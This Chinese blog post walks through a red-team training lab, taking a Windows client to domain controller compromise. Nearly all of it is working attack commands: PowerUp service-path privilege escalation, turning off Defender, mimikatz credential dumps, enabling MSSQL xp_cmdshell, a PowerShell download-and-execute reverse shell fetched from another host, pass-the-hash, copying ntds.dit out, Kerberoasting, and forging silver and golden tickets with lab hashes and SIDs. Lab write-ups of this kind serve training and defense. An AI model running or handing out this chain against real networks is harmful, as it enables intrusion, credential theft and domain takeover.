从内网到域控(offensive实战)

 

前言:

大家好,我是鸿鹄实验室的lengyi,offensive是国外某红队培训时使用的一套环境,被国内的大佬分享给了我,于是便有了此篇文章。

环境信息:

192.168.159.10(offensive-client/win10)
192.168.159.20(offensive-sql-server/windows server 2016)  
192.168.159.200(Domain Controller/windows server 2016)

大体拓扑如下:

要求获取域控权限,且只能使用客户机提供的工具以及powershell,已经拥有192.168.159.10的一个用户权限,工具已经放在主机内。

(弱弱的吐槽一句,国外的靶机都是纯英文系统看得难受)

 

本地提权:

首先查看当前的权限:

PS C:>whoami
PS C:> net localgroup administrators

反正手里也只有一个PowerUp了,那就用它吧

PS C:UsersAlice> powershell.exe -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:UsersAlice> cd .Desktop
PS C:UsersAliceDesktop> cd .tools
PS C:UsersAliceDesktoptools> Import-Module .PowerUp.ps1
PS C:UsersAliceDesktoptools> Invoke-AllChecks -verbose //检查所有路径

得到了下面的结果

以及

可以看出,Powerup列出了可能存在问题的服务,并在AbuseFunction中给了接下来的利用方式

我们发现了空格服务路径,这个是可以进行提权的,有兴趣的可以看我之前的文章(https://lengjibo.github.io/windows%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/)

然后执行下面的操作:

PS C:UsersAliceDesktoptools> Write-ServiceBinary -ServiceName VulnService -UserName "offensivealice" -Password Passw0rd!  

ServiceName ServicePath Command
----------- ----------- -------
VulnService service.exe net localgroup Administrators offensivealic...


PS C:UsersAliceDesktoptools> cp .service.exe "C:Program FilesVuln ServiceVulnService.exe"

然后查看服务状态:

PS C:UsersAliceDesktoptools> sc qc VulnService

这个时候我们就需要进行重启系统了…

其实这种提权方法在msf里面也是自带的,在msf中我们可以将服务替换成我们msf的木马,那么当服务重启的时候就会返回我们一个system的shell,而powerup便可以通过添加用户的方法来获取一个管理权限的用户,我这里也就相当于变相的进行了提权(若为域用户一定要在域控制器开启的情况下进行)。

重启之后,便获得了权限

 

域枚举:

首先关闭windows自带的defender

PS C:Windowssystem32> Set-MpPreference -disablerealtimeMonitoring $true

读取mimikatz进行以下操作,获取到用户密码:

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

接下来使用powerview进行域枚举,获取域和域控制器的信息:

PS C:>Get-NetDomain
PS C:>Get-NetDomainController

获取当前在域中的用户:

PS C:>Get-NetUser
PS C:>Get-NetUser | select name

获取当前域中的组信息:

PS C:>Get-NetGroup
PS C:>Get-NetGroup | select name
PS C:>Get-NetGroup *admin* | select name
PS C:>Get-NetGroup -UserName Alice
PS C:>Get-NetGroup "Domain Admins"

获取当前域内计算机的名称:

PS C:>Get-NetComputer
PS C:>Get-NetComputer | select name

然后使用PowerUpSQL脚本去枚举域中的SQL SERVER(事先知道拓扑,美滋滋)信息:

PS C:UsersAliceDesktoptoolsPowerUpSQL> Import-Module .PowerUpSQL.ps1
PS C:UsersAliceDesktoptoolsPowerUpSQL> Get-SQLInstanceDomain | Get-SQLConnectionTest

收集sql的相关信息:

PS C:UsersaliceDesktoptoolsPowerUpSQL>Get-SQLServerInfo -Instance Offensive-SQL1
PS C:UsersaliceDesktoptoolsPowerUpSQL>Invoke-SQLAudit -Instance Offensive-SQL1 -verbose

然后使用powerview去查找域内本地用户可以登录的机器:

PS C:UsersaliceDesktoptools>. .Powerview.ps1
PS C:UsersaliceDesktoptools>Find-LocalAdminAccess -verbose

这是因为没有其他的方式去获取sqlserver的认证,只能靠这种方法,如果可以认证,便可以使用windows认证去登录sqlserver

然后我们发现我们可以去登录SQL SERVER那台主机之后,我们便可以使用HeidiSQL去使用windows auth去连接mssql了

 

横向移动:

在sqlserver下的各种操作基本上就是xp_cmdshell和sp_OACreate了,当然也有CLR,我们先看一下第一种:

没关系,我们尝试绕过它,执行以下语句

EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
EXEC master..xp_cmdshell 'whoami'

然后我们使用powercat接受一个shell回来,里面自带的Invoke-PowerShellTcpOneLine_443就是返回一个shell给我们的clinet这个主机,那么我们便使用hfs搭建一个简易的web服务器,使用powercat监听443端口,然后使用mssql调用xp_cmdshell去调用powershell去下载那个脚本然后返回一个powershell给我们这个客户机

powerup执行:

PS C:>cd C:UsersaliceDesktoptools
PS C:UsersaliceDesktoptools> . .powercat.ps1
PS C:UsersaliceDesktoptools> powercat -l -v -p 443 -t 1000

SQL SERVER执行:

EXEC master..xp_cmdshell 'powershell "iex(New-Object Net.WebClient).DownloadString(''http://192.168.159.10/Invoke-PowerShellTcpOneLine_443.ps1'')"'

然后执行以下操作,关闭widnows defender然后创建一个临时目录,将我们的mimikatz上传上去

PS C:Windowssystem32> Set-MpPreference -disablerealtimeMonitoring $true
PS C:Windowssystem32> cd c:
PS C:> mkdir temp
PS C:> cd temp
PS C:temp> iwr -Uri http://192.168.159.10/mimikatz.exe -OutFile mimikatz.exe -UseBasicParsing
PS C:temp> iwr -Uri http://192.168.159.10/mimidrv.sys -OutFile mimidrv.sys -UseBasicParsing
PS C:temp> iwr -Uri http://192.168.159.10/mimilib.dll -OutFile mimilib.dll -UseBasicParsing
PS C:temp> dir

然后抓取目标的hash

PS C:temp> .mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

有了目标的hash之后,我们再开启一个powershell,使用mimikatz进行pth攻击,开启一个powershell

sekurlsa::pth /user:dbadmin /domain:offensive.local /ntlm:fc525c9683e8fe067095ba2ddc971889 /run:powershell.exe

至此,offensiveSQL这台机器已经拿下!

 

直捣域控:

有了offensiveSQL的权限之后,我们开始对域控做一些操作,

因为没有什么好的办法,所以我们能想到的就是使用ntds.dit文件去获取域的hash

然后在SQL这台机器上找到了这个文件,我们使用Invoke-NinjaCopy.ps1将它复制到桌面,并且转存注册表

PS C:Windowssystem32>iwr -Uri http://192.168.159.10/Invoke-NinjaCopy.ps1 -OutFile Invoke-NinjaCopy.ps1 -UseBasicParsing
PS C:Windowssystem32>. .Invoke-NinjaCopy.ps1
PS C:Windowssystem32>Invoke-NinjaCopy -Path C:WindowsNTDSntds.dit -Verbose -LocalDestination 'C:UsersdbadminDesktopntds.dit'
PS C:Windowssystem32>reg save HKLMSYSTEM C:UsersdbadminDesktopSYS

然后将这两个文件转存到我们的客户端:

PS C:>Copy-Item '\dc.offensive.localC$UsersdbadminDesktopntds.dit'-Destination '\Client1.offensive.localC$UsersaliceDesktoptoolsntds.dit'
PS C:>Copy-Item '\dc.offensive.localC$UsersdbadminDesktopSYS' -Destination '\Client1.offensive.localC$UsersaliceDesktoptoolsSYS'

然后使用下面的方法我们便可以得到所有用户的HASH方便我们后面的票据攻击原理请转(https://www.freebuf.com/articles/system/197160.html)

PS C:UsersaliceDesktoptools>Get-BootKey -SystemHivePath 'SYS'
PS C:UsersaliceDesktoptools>$key = Get-BootKey -SystemHivePath 'SYS'
PS C:UsersaliceDesktoptools>Get-ADDBAccount -All -DBPath 'C:UsersaliceDesktoptoolsntds.dit' -BootKey $key

在进行票据之前我们发现有一个kerberoast,我们再来利用一下这个工具

Step 1:使用GetUserSPNs.ps1扫描域中设置了 SPN的用户

PS C:UsersaliceDesktoptoolskerberoastkerberoast-master>. .GetUserSPNs.ps1

Step 2:使用SPN从域中请求服务票证

PS C:UsersaliceDesktoptoolskerberoastkerberoast-master>Add-Type –AssemblyName System.IdentityModel
PS C:UsersaliceDesktoptoolskerberoastkerberoast-master>New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken –ArgumentList 'MSSQLSvc/Offensive-SQL1:1433'
PS C:UsersaliceDesktoptoolskerberoastkerberoast-master>Add-Type –Assembl

Step 3:提取服务票证

PS C:>cd C:UsersaliceDesktoptoolsmimikatz_trunkx64
PS C:UsersaliceDesktoptoolsmimikatz_trunkx64>.mimikatz.exe
mimikatz # kerberos::list /export

Setp4:进行暴力破解

它这里的pass.txt是事先给好的,所以肯定可以跑出来….

破解完之后,我们使用mimikatz传递之前获得的SID、Target host name, Service name,NTLM hash等去创建一个银票

mimikatz # kerberos::golden /sid:S-1-5-21-1187620287-4058297830-2395299116-1103 /domain:offensive.local /target:Offensive-SQL1:1433 /service:MSSQLSvc /rc4:fc525c9683e8fe067095ba2ddc971889 /user:idontexist /id:1103 /pttmimikatz 
# misc::cmd

然后

C:UsersAliceDesktoptoolsmimikatz_trunkx64>.mimikatz.exemimikatz 
# kerberos::list

我们现在已经获取到了银票..

 

持久控制:

c:>dir \dc.offensive.localc$

我们现在去访问域控是会被拒绝的:

我们来获取一个金票:

PS C:>cd C:UsersaliceDesktoptoolsmimikatz_trunkx64
PS C:UsersaliceDesktoptoolsmimikatz_trunkx64>.mimikatz.exe
mimikatz # kerberos::golden /sid:S-1-5-21-1187620287-4058297830-2395299116 /domain:offensive.local /rc4:61d83c569b93bfcd4ca2087011361caa /user:idontexist /id:500
mimikatz # kerberos::ptt ticket.kirbi 
mimikatz # misc::cmd
mimikatz # kerberos::list

最终获取了域控的权限:

 

写在后面:

这应该是最后一篇内网方面的文章了,如果红日的第三个上新的话,我还是会继续更新的,域渗透实在是太有魔力了,让我沉迷其中,本文讲解较少,多为操作,因为再加上原理,篇幅实在太长..还望各位师傅见谅,如有错误,还望指出,以免误人子弟。过几天让我们实验室的pwn师傅来安全客更文章啊,啊哈哈哈,期待脸(逃)。

(完)